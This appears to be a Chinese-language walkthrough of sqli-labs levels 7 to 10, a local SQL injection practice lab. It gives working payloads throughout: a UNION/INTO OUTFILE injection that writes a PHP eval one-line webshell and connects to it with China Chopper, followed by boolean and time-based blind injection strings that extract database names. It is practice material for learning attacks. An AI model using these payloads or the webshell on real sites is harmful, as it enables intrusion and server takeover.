因为我们用的是phpstudy,所以存在一个文件读写权限问题,我们需要修改一下,首先在mysql命令行中用show variables like '%secure%';查看 secure-file-priv 当前的值,如果像下图一样显示为NULL(这个必须做,要不然后面一句话木马写不到目录里)
需要打开 C:phpstudyPHPTutorialMySQLmy.ini文件,在其中加上一句:secure_file_priv="/"
重启phpstudy,在Mysql命令行重新输入命令
再加个小知识:用到的两个函数:load_file() 读取本地文件 into outfile 写文件 可以百度函数用法,提示路径需要用双斜线
Less 7
我们先输入了?id=1,根据sql语句输出我们可以知道这次是单引号加双括号的字符型注入,闭合方式为?id=1')) --+
一般查看是否有错误是加单引号,像这一关就是,加了单引号报错,说明存在注入
但是页面显示和前两关不一样,you are in........的后面多了use outfile........,说明这一关让我们使用outfile函数
还是自己练手的原因,找到了闭合方式和这熟悉的you are in.......,我忍不住用第五关的方式尝试了一下还是可以的
首先尝试了left()函数
尝试了ASCII码方式,均可
接下来我们听话use outfile,我们会想到使用 mysql 写文件,eg:写入一句话木马,使用菜刀等工具连接
下面我们将一句话木马写入a.php文件中。。。(存放位置:C:phpStudyPHPTutorialWWWsqli-labs-masterLess-7)
语句:?id=-1')) union select 1,2, '<?php @eval($_POST["jyx"]); ?>' into outfile 'C:\phpStudy\PHPTutorial\WWW\sqli-labs-master\Less-7\zjj.php' --+ (一句话木马里面的jyx是密码)
如下图所示才叫写入成功
我们先直接进行访问,url:http://localhost/sqli-labs-master/Less-7/zjj.php如下,因为一句话木马是用php写的,在这里没有显示
下面用中国菜刀开始进行连接,复制上方的url,打开中国菜刀,右键添加,输入链接和上方提到的密码,点击添加
双击新增条目,成功
我们就成功拿到了这个网站的webshell
Less 8
日常先输入?id=1
加上单引号?id=1',You are in...消失,说明存在注入漏洞
我们加入注释符号 --+,即?id=1' --+,说明我们要以这样形式进行构造
法一:布尔盲注
可以查出列数,使用 order by 语句:?id=1' order by 3 --+
?id=1' order by 4 --+,可以看出还是3列
剩下的与第五关的类似,可以用left()函数,可以用ASCII码方法(猜解速度较慢),还可以用burp suite爆破
法二:时间盲注
小知识:if()函数——IF(condition,A,B),如果condition为true,执行A,否则执行B(若在mysql命令行中使用,首先要use ****数据库才行)
首先?id=1' and sleep(5) --+,查看网络,发现存在漏洞并可以采用时间盲注
我们使用if() + length()的组合猜解库名长度,这里页面返回时间正常,所以条件为真,库名长度大于7
?id=1' and if(length(database())>7,1,sleep(5)) --+
?id=1' and if(length(database())>8,1,sleep(5)) --+,根据返回时间说明条件为假,结合上面可知库名长度为8
猜库名
?id=1' and if(ascii(mid((select database()),1,1))>114,1,sleep(5)) --+
?id=1' and if(ascii(mid((select database()),1,1))>115,1,sleep(5)) --+ 说明第一个字母的ASCII码值为115,对照表知道为s,以此类推知道后几个字母
猜其他库的库名,比如第四个库的第一个字母
?id=1' and if(ascii(mid((select schema_name from information_schema.schemata limit 3,1),1,1))>108,1,sleep(5)) --+
?id=1' and if(ascii(mid((select schema_name from information_schema.schemata limit 3,1),1,1))>109,1,sleep(5)) --+
说明这第一个字母是m,经我查证,第四个库是mysql
Less 9
首先?id=1
再?id=1’
前面的什么双引号、单括号、双括号都试过,说明无论对错页面都不会产生变化的,所以使用sleep函数试了下
?id=1’ and sleep(5)--+ 使用这个语句时候,网页会停顿5秒,即存在注入漏洞
我们可以使用第8关中的时间盲注进行操作,不可以使用布尔盲注,因为布尔盲注还是根据正确错误有不同的页面呈现的,这里始终页面是不变的;
Less 10
首先继续?id=1
剩下与第九关相同,我们只要注意闭合方式是双引号的就可以啦